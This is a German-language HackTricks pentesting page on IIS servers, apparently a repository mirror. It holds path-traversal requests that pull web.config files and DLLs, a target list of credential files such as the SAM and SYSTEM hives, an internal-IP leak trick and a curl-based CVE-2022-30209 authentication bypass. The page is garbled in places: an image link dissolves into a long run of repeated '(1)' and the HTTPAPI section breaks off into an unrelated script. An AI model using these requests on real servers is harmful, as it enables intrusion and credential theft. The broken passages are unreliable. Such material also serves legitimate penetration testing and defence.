mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 19:43:31 +00:00
234 lines
12 KiB
Markdown
234 lines
12 KiB
Markdown
# IIS - Internet Information Services
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
|
|
|
</details>
|
|
|
|
Testen Sie ausführbare Dateierweiterungen:
|
|
|
|
* asp
|
|
* aspx
|
|
* config
|
|
* php
|
|
|
|
## Offenlegung der internen IP-Adresse
|
|
|
|
Auf jedem IIS-Server, auf dem Sie eine 302 erhalten, können Sie versuchen, den Host-Header zu entfernen und HTTP/1.0 zu verwenden. In der Antwort könnte der Location-Header auf die interne IP-Adresse verweisen:
|
|
```
|
|
nc -v domain.com 80
|
|
openssl s_client -connect domain.com:443
|
|
```
|
|
Antwort, die die interne IP-Adresse offenlegt:
|
|
```
|
|
GET / HTTP/1.0
|
|
|
|
HTTP/1.1 302 Moved Temporarily
|
|
Cache-Control: no-cache
|
|
Pragma: no-cache
|
|
Location: https://192.168.5.237/owa/
|
|
Server: Microsoft-IIS/10.0
|
|
X-FEServer: NHEXCHANGE2016
|
|
```
|
|
## Ausführen von .config-Dateien
|
|
|
|
Sie können .config-Dateien hochladen und verwenden, um Code auszuführen. Eine Möglichkeit dies zu tun, besteht darin, den Code am Ende der Datei in einem HTML-Kommentar anzufügen: [Beispiel hier herunterladen](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
|
|
|
Weitere Informationen und Techniken zur Ausnutzung dieser Schwachstelle finden Sie [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
|
|
|
## IIS Discovery Bruteforce
|
|
|
|
Laden Sie die von mir erstellte Liste herunter:
|
|
|
|
{% file src="../../.gitbook/assets/iisfinal.txt" %}
|
|
|
|
Sie wurde erstellt, indem die Inhalte der folgenden Listen zusammengeführt wurden:
|
|
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
|
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
|
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
|
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
|
|
|
Verwenden Sie sie ohne eine Erweiterung hinzuzufügen, die Dateien, die sie benötigen, haben sie bereits.
|
|
|
|
## Pfad-Traversal
|
|
|
|
### Offenlegung des Quellcodes
|
|
|
|
Lesen Sie die vollständige Beschreibung unter: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
|
|
|
{% hint style="info" %}
|
|
Zusammenfassend gibt es mehrere web.config-Dateien in den Ordnern der Anwendung mit Verweisen auf "**assemblyIdentity**"-Dateien und "**namespaces**". Mit diesen Informationen ist es möglich zu wissen, **wo sich ausführbare Dateien befinden** und sie herunterzuladen.\
|
|
Aus den **heruntergeladenen Dlls** ist es auch möglich, **neue Namespaces** zu finden, auf die Sie zugreifen sollten, um die web.config-Datei zu erhalten und neue Namespaces und assemblyIdentity zu finden.\
|
|
Auch die Dateien **connectionstrings.config** und **global.asax** können interessante Informationen enthalten.\
|
|
|
|
{% endhint %}
|
|
|
|
In **.Net MVC-Anwendungen** spielt die **web.config**-Datei eine entscheidende Rolle, indem sie jede Binärdatei angibt, von der die Anwendung abhängt, durch **"assemblyIdentity"** XML-Tags.
|
|
|
|
### **Erkunden von Binärdateien**
|
|
|
|
Ein Beispiel für den Zugriff auf die **web.config**-Datei wird unten gezeigt:
|
|
```markup
|
|
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
|
Host: example-mvc-application.minded
|
|
```
|
|
Diese Anfrage enthüllt verschiedene Einstellungen und Abhängigkeiten wie:
|
|
|
|
- **EntityFramework**-Version
|
|
- **AppSettings** für Webseiten, Client-Validierung und JavaScript
|
|
- **System.web**-Konfigurationen für Authentifizierung und Laufzeit
|
|
- **System.webServer**-Modul-Einstellungen
|
|
- **Runtime**-Assembly-Bindungen für zahlreiche Bibliotheken wie **Microsoft.Owin**, **Newtonsoft.Json** und **System.Web.Mvc**
|
|
|
|
Diese Einstellungen deuten darauf hin, dass bestimmte Dateien wie **/bin/WebGrease.dll** im Ordner /bin der Anwendung zu finden sind.
|
|
|
|
### **Dateien im Stammverzeichnis**
|
|
|
|
Dateien im Stammverzeichnis wie **/global.asax** und **/connectionstrings.config** (die sensible Passwörter enthalten) sind für die Konfiguration und den Betrieb der Anwendung unerlässlich.
|
|
|
|
### **Namespaces und Web.Config**
|
|
|
|
MVC-Anwendungen definieren auch zusätzliche **web.config-Dateien** für spezifische Namespaces, um wiederholte Deklarationen in jeder Datei zu vermeiden, wie durch eine Anfrage zum Herunterladen einer anderen **web.config**-Datei demonstriert.
|
|
```markup
|
|
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
|
Host: example-mvc-application.minded
|
|
```
|
|
### **Herunterladen von DLLs**
|
|
|
|
Die Erwähnung eines benutzerdefinierten Namensraums deutet auf eine DLL mit dem Namen "**WebApplication1**" hin, die im /bin-Verzeichnis vorhanden ist. Anschließend wird eine Anfrage zum Herunterladen der **WebApplication1.dll** angezeigt:
|
|
```markup
|
|
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
|
Host: example-mvc-application.minded
|
|
```
|
|
Dies deutet auf das Vorhandensein anderer wichtiger DLLs hin, wie z.B. **System.Web.Mvc.dll** und **System.Web.Optimization.dll**, im /bin-Verzeichnis.
|
|
|
|
In einem Szenario, in dem eine DLL einen Namespace namens **WebApplication1.Areas.Minded** importiert, könnte ein Angreifer auf das Vorhandensein anderer web.config-Dateien in vorhersehbaren Pfaden schließen, wie z.B. **/area-name/Views/**, die spezifische Konfigurationen und Verweise auf andere DLLs im /bin-Ordner enthalten. Zum Beispiel kann eine Anfrage an **/Minded/Views/web.config** Konfigurationen und Namespaces offenlegen, die auf das Vorhandensein einer anderen DLL, **WebApplication1.AdditionalFeatures.dll**, hinweisen.
|
|
|
|
### Gemeinsame Dateien
|
|
|
|
Von [hier](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
|
```
|
|
C:\Apache\conf\httpd.conf
|
|
C:\Apache\logs\access.log
|
|
C:\Apache\logs\error.log
|
|
C:\Apache2\conf\httpd.conf
|
|
C:\Apache2\logs\access.log
|
|
C:\Apache2\logs\error.log
|
|
C:\Apache22\conf\httpd.conf
|
|
C:\Apache22\logs\access.log
|
|
C:\Apache22\logs\error.log
|
|
C:\Apache24\conf\httpd.conf
|
|
C:\Apache24\logs\access.log
|
|
C:\Apache24\logs\error.log
|
|
C:\Documents and Settings\Administrator\NTUser.dat
|
|
C:\php\php.ini
|
|
C:\php4\php.ini
|
|
C:\php5\php.ini
|
|
C:\php7\php.ini
|
|
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
|
|
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
|
|
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
|
|
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
|
|
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
|
|
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
|
|
c:\Program Files (x86)\php\php.ini"
|
|
C:\Program Files\Apache Group\Apache\conf\httpd.conf
|
|
C:\Program Files\Apache Group\Apache\conf\logs\access.log
|
|
C:\Program Files\Apache Group\Apache\conf\logs\error.log
|
|
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
|
|
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
|
|
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
|
|
C:\Program Files\FileZilla Server\FileZilla Server.xml
|
|
C:\Program Files\MySQL\my.cnf
|
|
C:\Program Files\MySQL\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
|
|
C:\Program Files\php\php.ini
|
|
C:\Users\Administrator\NTUser.dat
|
|
C:\Windows\debug\NetSetup.LOG
|
|
C:\Windows\Panther\Unattend\Unattended.xml
|
|
C:\Windows\Panther\Unattended.xml
|
|
C:\Windows\php.ini
|
|
C:\Windows\repair\SAM
|
|
C:\Windows\repair\system
|
|
C:\Windows\System32\config\AppEvent.evt
|
|
C:\Windows\System32\config\RegBack\SAM
|
|
C:\Windows\System32\config\RegBack\system
|
|
C:\Windows\System32\config\SAM
|
|
C:\Windows\System32\config\SecEvent.evt
|
|
C:\Windows\System32\config\SysEvent.evt
|
|
C:\Windows\System32\config\SYSTEM
|
|
C:\Windows\System32\drivers\etc\hosts
|
|
C:\Windows\System32\winevt\Logs\Application.evtx
|
|
C:\Windows\System32\winevt\Logs\Security.evtx
|
|
C:\Windows\System32\winevt\Logs\System.evtx
|
|
C:\Windows\win.ini
|
|
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
|
C:\xampp\apache\conf\httpd.conf
|
|
C:\xampp\apache\logs\access.log
|
|
C:\xampp\apache\logs\error.log
|
|
C:\xampp\FileZillaFTP\FileZilla Server.xml
|
|
C:\xampp\MercuryMail\MERCURY.INI
|
|
C:\xampp\mysql\bin\my.ini
|
|
C:\xampp\php\php.ini
|
|
C:\xampp\security\webdav.htpasswd
|
|
C:\xampp\sendmail\sendmail.ini
|
|
C:\xampp\tomcat\conf\server.xml
|
|
```
|
|
## HTTPAPI 2.0 404 Fehler
|
|
|
|
Wenn Sie einen Fehler wie den folgenden sehen:
|
|
|
|
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
|
|
```python
|
|
# script for sanity check
|
|
> type test.py
|
|
def HashString(password):
|
|
j = 0
|
|
for c in map(ord, password):
|
|
j = c + (101*j)&0xffffffff
|
|
return j
|
|
|
|
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
|
|
|
# before the successful login
|
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
|
HTTP/1.1 401 Unauthorized
|
|
|
|
# after the successful login
|
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
|
HTTP/1.1 200 OK
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|